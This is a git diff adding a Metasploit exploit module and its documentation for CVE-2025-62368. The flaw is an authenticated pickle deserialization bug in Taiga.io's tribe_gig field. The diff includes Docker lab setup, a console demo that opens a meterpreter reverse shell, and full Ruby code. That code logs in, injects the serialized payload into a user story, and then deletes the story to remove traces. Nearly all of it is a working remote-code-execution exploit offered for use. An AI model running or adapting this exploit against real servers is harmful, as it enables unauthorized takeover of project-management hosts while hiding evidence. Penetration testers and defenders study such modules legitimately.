diff --git a/documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.md b/documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.md new file mode 100644 index 0000000000000..6e45a6fe0fa55 --- /dev/null +++ b/documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.md @@ -0,0 +1,318 @@ +## Vulnerable Application + +[Taiga.io](https://www.taiga.io/) is a free open-source project management tool for agile teams. + +This module has been tested successfully on Taiga.io versions: + +* taiga-back versions 6.8.3 + +### Description + +This module exploits an authenticated unserialized vulnerability that allows to execute +commands remotely. This vulnerability affects Taiga.io <= 6.8.3 and is fixed in 6.9.0. + +By creating userstories in the kanban-board, the parameter tribe_gig will be unserialized using python pickle. Using a special crafted value +for `tribe_gig` this vulnerability leads to authenticated remote python code execution. This exploits automatically deletes the +created user-story in order to leave no unnecessary traces. + +More about the vulnerability detail: [CVE-2025-62368](https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5). + +The module will automatically use `python/meterpreter/reverse_tcp` payload. + +The module will check if the target is vulnerable, by sending a sleep command. Please note that the user needs to have at least one project +with kanban enabled. The exploit will automatically search for an existing project that has the kanban functionality enabled. + + + +### Source and Installers + +* [Source Code Repository](https://github.com/taigaio/taiga-back/releases/tag/6.8.3) +* [Docker](https://github.com/taigaio/taiga-docker.git) + +### Docker Installation + +This exploit was tested using a [taiga.io docker container](https://github.com/taigaio/taiga-docker.git) and +[docker-compose](https://docs.docker.com/compose/). +First the [taiga.io docker container](https://github.com/taigaio/taiga-docker.git) was downloaded: +`git clone https://github.com/taigaio/taiga-docker.git`. +Next the tag 6.8.3 was added to the `taiga-back` image in docker-compose.yml: + +```yaml +version: "3.5" + +x-environment: + &default-back-environment + # These environment variables will be used by taiga-back and taiga-async. + # Database settings + POSTGRES_DB: "taiga" + POSTGRES_USER: "${POSTGRES_USER}" + POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}" + POSTGRES_HOST: "taiga-db" + # Taiga settings + TAIGA_SECRET_KEY: "${SECRET_KEY}" + TAIGA_SITES_SCHEME: "${TAIGA_SCHEME}" + TAIGA_SITES_DOMAIN: "${TAIGA_DOMAIN}" + TAIGA_SUBPATH: "${SUBPATH}" + # Email settings. + EMAIL_BACKEND: "django.core.mail.backends.${EMAIL_BACKEND}.EmailBackend" + DEFAULT_FROM_EMAIL: "${EMAIL_DEFAULT_FROM}" + EMAIL_USE_TLS: "${EMAIL_USE_TLS}" + EMAIL_USE_SSL: "${EMAIL_USE_SSL}" + EMAIL_HOST: "${EMAIL_HOST}" + EMAIL_PORT: "${EMAIL_PORT}" + EMAIL_HOST_USER: "${EMAIL_HOST_USER}" + EMAIL_HOST_PASSWORD: "${EMAIL_HOST_PASSWORD}" + # Rabbitmq settings + RABBITMQ_USER: "${RABBITMQ_USER}" + RABBITMQ_PASS: "${RABBITMQ_PASS}" + # Telemetry settings + ENABLE_TELEMETRY: "${ENABLE_TELEMETRY}" + # ...your customizations go here + +x-volumes: + &default-back-volumes + # These volumens will be used by taiga-back and taiga-async. + - taiga-static-data:/taiga-back/static + - taiga-media-data:/taiga-back/media + # - ./config.py:/taiga-back/settings/config.py + +services: + taiga-db: + image: postgres:12.3 + environment: + POSTGRES_DB: "taiga" + POSTGRES_USER: "${POSTGRES_USER}" + POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}" + healthcheck: + test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER}"] + interval: 2s + timeout: 15s + retries: 5 + start_period: 3s + volumes: + - taiga-db-data:/var/lib/postgresql/data + networks: + - taiga + + taiga-back: + image: taigaio/taiga-back:6.8.3 + environment: *default-back-environment + volumes: *default-back-volumes + networks: + - taiga + depends_on: + taiga-db: + condition: service_healthy + taiga-events-rabbitmq: + condition: service_started + taiga-async-rabbitmq: + condition: service_started + + taiga-async: + image: taigaio/taiga-back:6.8.3 + entrypoint: ["/taiga-back/docker/async_entrypoint.sh"] + environment: *default-back-environment + volumes: *default-back-volumes + networks: + - taiga + depends_on: + taiga-db: + condition: service_healthy + taiga-events-rabbitmq: + condition: service_started + taiga-async-rabbitmq: + condition: service_started + + taiga-async-rabbitmq: + image: rabbitmq:3.8-management-alpine + environment: + RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}" + RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}" + RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}" + RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}" + hostname: "taiga-async-rabbitmq" + volumes: + - taiga-async-rabbitmq-data:/var/lib/rabbitmq + networks: + - taiga + + taiga-front: + image: taigaio/taiga-front:latest + environment: + TAIGA_URL: "${TAIGA_SCHEME}://${TAIGA_DOMAIN}" + TAIGA_WEBSOCKETS_URL: "${WEBSOCKETS_SCHEME}://${TAIGA_DOMAIN}" + TAIGA_SUBPATH: "${SUBPATH}" + # ...your customizations go here + networks: + - taiga + # volumes: + # - ./conf.json:/usr/share/nginx/html/conf.json + + taiga-events: + image: taigaio/taiga-events:latest + environment: + RABBITMQ_USER: "${RABBITMQ_USER}" + RABBITMQ_PASS: "${RABBITMQ_PASS}" + TAIGA_SECRET_KEY: "${SECRET_KEY}" + networks: + - taiga + depends_on: + taiga-events-rabbitmq: + condition: service_started + + taiga-events-rabbitmq: + image: rabbitmq:3.8-management-alpine + environment: + RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}" + RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}" + RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}" + RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}" + hostname: "taiga-events-rabbitmq" + volumes: + - taiga-events-rabbitmq-data:/var/lib/rabbitmq + networks: + - taiga + + taiga-protected: + image: taigaio/taiga-protected:latest + environment: + MAX_AGE: "${ATTACHMENTS_MAX_AGE}" + SECRET_KEY: "${SECRET_KEY}" + networks: + - taiga + + taiga-gateway: + image: nginx:1.19-alpine + ports: + - "9000:80" + volumes: + - ./taiga-gateway/taiga.conf:/etc/nginx/conf.d/default.conf + - taiga-static-data:/taiga/static + - taiga-media-data:/taiga/media + networks: + - taiga + depends_on: + - taiga-front + - taiga-back + - taiga-events + +volumes: + taiga-static-data: + taiga-media-data: + taiga-db-data: + taiga-async-rabbitmq-data: + taiga-events-rabbitmq-data: + +networks: + taiga: +``` + +The file `.env` was also modified so that the variable `TAIGA_DOMAIN` points to the IP-address to the server: + +``` + # Taiga's URLs - Variables to define where Taiga should be served + TAIGA_SCHEME=http # serve Taiga using "http" or "https" (secured) connection + TAIGA_DOMAIN=192.168.233.117:9000 # Taiga's base URL + SUBPATH="" # it'll be appended to the TAIGA_DOMAIN (use either "" or a "/subpath") + WEBSOCKETS_SCHEME=ws # events connection protocol (use either "ws" or "wss") + + # Taiga's Secret Key - Variable to provide cryptographic signing + SECRET_KEY="taiga-secret-key" # Please, change it to an unpredictable value!! + + # Taiga's Database settings - Variables to create the Taiga database and connect to it + POSTGRES_USER=taiga # user to connect to PostgreSQL + POSTGRES_PASSWORD=taiga # database user's password + + # Taiga's SMTP settings - Variables to send Taiga's emails to the users + EMAIL_BACKEND=console # use an SMTP server or display the emails in the console (either "smtp" or "console") + EMAIL_HOST=smtp.host.example.com # SMTP server address + EMAIL_PORT=587 # default SMTP port + EMAIL_HOST_USER=user # user to connect the SMTP server + EMAIL_HOST_PASSWORD=password # SMTP user's password + EMAIL_DEFAULT_FROM=changeme@example.com # default email address for the automated emails + # EMAIL_USE_TLS/EMAIL_USE_SSL are mutually exclusive (only set one of those to True) + EMAIL_USE_TLS=True # use TLS (secure) connection with the SMTP server + EMAIL_USE_SSL=False # use implicit TLS (secure) connection with the SMTP server + + # Taiga's RabbitMQ settings - Variables to leave messages for the realtime and asynchronous events + RABBITMQ_USER=taiga # user to connect to RabbitMQ + RABBITMQ_PASS=taiga # RabbitMQ user's password + RABBITMQ_VHOST=taiga # RabbitMQ container name + RABBITMQ_ERLANG_COOKIE=secret-erlang-cookie # unique value shared by any connected instance of RabbitMQ + + # Taiga's Attachments - Variable to define how long the attachments will be accesible + ATTACHMENTS_MAX_AGE=360 # token expiration date (in seconds) + + # Taiga's Telemetry - Variable to enable or disable the anonymous telemetry + ENABLE_TELEMETRY=False +``` + +**_NOTE:_** Change the IP-address for TAIGA_DOMAIN for your setup + +After starting the container with `./launch-taiga.sh` we also have to create an admin account using: `./taiga-manage.sh createsuperuser`. + +Now open a browser and navigate to: `http://192.168.233.117:9000` (use your IP-address), login as admin and create a project(select KANBAN). +Provide any project-name and any project-description, select "Public Project" and create the project. + +**_NOTE:_** This exploit works needs permissions to create user-stories. Therefore it works as a normal +project member or as admin. + +## Verification Steps + +1. Do: `use exploit/multi/http/taiga_tribe_gig_unserial` +2. Do: `set RHOSTS [ips]` +3. Do: `set LHOST [lhost]` +4. Do: `set RPORT 9000` +5. Do: `set USERNAME admin` +6. Do: `set PASSWORD admin` +7. Do: `set SSL false` +8. Do: `run` +9. You should get a shell after a while + +## Options + +### USERNAME + +The any existing username to authenticate to taiga. (Needs permissions on a project to create user-stories) + +### PASSWORD + +The password for the user. + +## Scenarios + +In this scenario the taiga-server has the IP address `192.168.233.117`. User `admin` exists with password `admin` and +a kanban project was already created in taiga and user admin is allowed to create userstories for that project. + +### Taiga 6.8.3(docker-compose): + +The following demo shows how to use the exploit: + +``` +msf > use exploit/multi/http/taiga_tribe_gig_unserial +[*] Using configured payload python/meterpreter/reverse_tcp +msf exploit(multi/http/taiga_tribe_gig_unserial) > set RHOSTS 192.168.233.117 +RHOSTS => 192.168.233.117 +msf exploit(multi/http/taiga_tribe_gig_unserial) > set RPORT 9000 +RPORT => 9000 +msf exploit(multi/http/taiga_tribe_gig_unserial) > set LHOST 192.168.233.117 +LHOST => 192.168.233.117 +msf exploit(multi/http/taiga_tribe_gig_unserial) > set USERNAME admin +USERNAME => admin +msf exploit(multi/http/taiga_tribe_gig_unserial) > set PASSWORD admin +PASSWORD => admin +msf exploit(multi/http/taiga_tribe_gig_unserial) > set SSL false +[!] Changing the SSL option's value may require changing RPORT! +SSL => false +msf exploit(multi/http/taiga_tribe_gig_unserial) > run +[*] Started reverse TCP handler on 192.168.233.117:4444 +[*] Sending payload.. +[*] Sending stage (23408 bytes) to 172.20.0.8 +[+] Payload sent +[*] Cleanup.. +[+] Userstory deleted +[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 172.20.0.8:39148) at 2025-11-08 15:26:54 +0000 + +meterpreter > getuid +Server username: taiga +``` diff --git a/modules/exploits/multi/http/taiga_tribe_gig_unserial.rb b/modules/exploits/multi/http/taiga_tribe_gig_unserial.rb new file mode 100644 index 0000000000000..e464f8240ff65 --- /dev/null +++ b/modules/exploits/multi/http/taiga_tribe_gig_unserial.rb @@ -0,0 +1,221 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class TaigaClientException < StandardError; end + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution', + 'Description' => %q{ + This module exploits an unserialization flaw by + creating a userstory in a project. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'rootjog', # Discovery + 'whotwagner' # Metasploit Module + ], + 'References' => [ + ['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'], + ['CVE', '2025-62368'] + ], + 'Platform' => %w[linux unix python], + 'Targets' => [ + [ + 'Python payload', + { + 'Arch' => [ ARCH_PYTHON ], + 'Platform' => 'python', + 'Type' => :python, + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } + } + ], + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], + 'Platform' => %w[unix linux], + 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' + } + } + ], + ], + 'DefaultOptions' => { + 'SSL' => false + }, + 'Privileged' => false, + 'DisclosureDate' => '2025-10-28', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to taiga', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate as']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']) + ] + ) + end + + def authenticate(user, pass) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api/v1/auth'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => { + username: user, + password: pass, + type: 'normal' + }.to_json, + 'keep_cookies' => true + ) + + raise TaigaClientException, 'Login failed' if res&.code != 200 + + parsed_json = res.get_json_document + @token = parsed_json['auth_token'] + @taiga_user_id = parsed_json['id'] + end + + def get_project + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api/v1/projects'), + 'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' }, + 'method' => 'GET', + 'ctype' => 'application/json', + 'keep_cookies' => true + ) + + raise TaigaClientException, 'Get projects failed!' if res&.code != 200 + + projects = res.get_json_document + projects.each do |project| + @taiga_project = project['id'] if project['is_kanban_activated'] + end + + raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project + end + + def get_status + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'), + 'vars_get' => { 'project' => @taiga_project }, + 'method' => 'GET', + 'ctype' => 'application/json', + 'keep_cookies' => true + ) + + raise TaigaClientException, 'Get status failed!' if res&.code != 200 + + status_data = res.get_json_document + raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses' + + status_data['statuses'].each do |stat| + return stat['id'] if stat['name'] == 'New' + end + end + + def delete_userstory(id) + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"), + 'method' => 'DELETE', + 'ctype' => 'application/json', + 'headers' => { 'Authorization' => "Bearer #{@token}" }, + 'keep_cookies' => true + ) + end + + def send_payload(payload, project_status) + temp_project = Rex::Text.rand_text_alpha(10..15) + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { 'Authorization' => "Bearer #{@token}" }, + 'data' => { + _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false, + tribe_gig: payload.to_s + }.to_json + ) + end + + def check + cookie_jar.clear + begin + authenticate(datastore['USERNAME'], datastore['PASSWORD']) + get_project + project_status = get_status + rescue TaigaClientException => e + return Exploit::CheckCode::Unknown(e) + end + sleep_time = rand(5..10) + pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')") + command = Rex::Text.encode_base64(pl) + res, elapsed_time = Rex::Stopwatch.elapsed_time do + send_payload(command, project_status) + end + return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201 + + user_story_id = res.get_json_document['id'] + res = delete_userstory(user_story_id) + print_warning('Cleanup failed') unless res&.code == 204 + + print_status("Elapsed time: #{elapsed_time} seconds.") + return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time + + Exploit::CheckCode::Safe('Target is not vulnerable') + end + + def execute_command(cmd, _opts = {}) + # calls some method to inject cmd to the vulnerable code. + begin + project_status = get_status + rescue TaigaClientException => e + fail_with(Failure::UnexpectedReply, e) + end + print_status('Sending payload..') + res = send_payload(cmd, project_status) + print_good('Payload sent') + user_story_id = res.get_json_document['id'] + print_status('Cleanup..') + res = delete_userstory(user_story_id) + print_warning('Cleanup failed') unless res&.code == 204 + print_good('Userstory deleted') + end + + def exploit + cookie_jar.clear + + begin + authenticate(datastore['USERNAME'], datastore['PASSWORD']) + get_project + rescue TaigaClientException => e + fail_with(Failure::UnexpectedReply, e) + end + + if target['Type'] == :python + command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) + else + command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')") + end + data = Rex::Text.encode_base64(command) + execute_command(data) + end +end